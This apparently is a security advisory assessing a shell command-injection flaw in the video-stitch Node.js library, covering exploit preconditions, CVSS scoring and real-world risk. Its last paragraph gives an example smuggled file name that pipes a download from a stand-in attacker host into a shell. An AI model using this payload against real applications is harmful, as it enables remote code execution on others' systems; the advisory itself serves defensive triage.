Video-stitch EUVD-2026-101273

Exploitation requires that attacker-influenced file names be passed into video-stitch's concat(), cut(), or merge() functions (specifically the output/clip name and fileName arguments interpolated into the ffmpeg command in lib/videoconcat.js and lib/videocut.js). The vulnerable version must be before 2.0.0-beta.1 and must use the pre-patch shell-executed code path (shelljs.exec), and ffmpeg must be present for the command line to run. LIMITING FACTORS: as a library, there is no exploitation unless the embedding application routes untrusted data into these file-name parameters without sanitization; applications that only ever pass trusted, internally-generated file names are not exploitable. No authentication or user interaction is required at the library level, but the effective auth requirement is whatever the consuming application enforces on the input path.

The input CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) scores this 9.3 (Critical), characterizing it as network-reachable, low-complexity, unauthenticated command execution with high confidentiality, integrity, and availability impact - consistent with CWE-78 and the confirmed-vulnerable shelljs.exec() calls visible in the PR #26 diff. However, these raw metrics overstate real-world risk because video-stitch is a library, not a network service: exploitation requires that attacker-controlled data actually reach the fileName/output arguments of concat(), cut(), or merge() in the consuming Node.js application, so the effective attack vector and privilege requirement are inherited from whatever application embeds the library. No EPSS score, CISA KEV listing, or public exploit was provided in the intelligence set, so there is no evidence of active or at-scale exploitation; the signals present (vendor patch, VulnCheck advisory, source-level confirmation) indicate a verified, patchable defect rather than an actively weaponized threat. CONFLICT TO NOTE: the CVSS PR:N/AV:N assumes untrusted input flows unfiltered into the vulnerable API, which is a deployment-dependent assumption - verify against the specific application before treating this as remote-unauthenticated. Net: a genuinely serious code-execution bug in affected deployments, but its priority is gated by the obscurity and small footprint of the affected package and the absence of any exploitation telemetry.

An application uses video-stitch to process videos whose file names derive from untrusted input (e.g. a user-supplied upload name or title). An attacker submits a file name containing shell metacharacters such as 'video.mp4; curl attacker.com/x | sh', which is interpolated unquoted into the ffmpeg command line and executed by the shell, running arbitrary commands with the Node.js process privileges. No public exploit code was identified in the provided data, but the patched source (PR #26) directly confirms the vulnerable unquoted shelljs.exec() interpolation.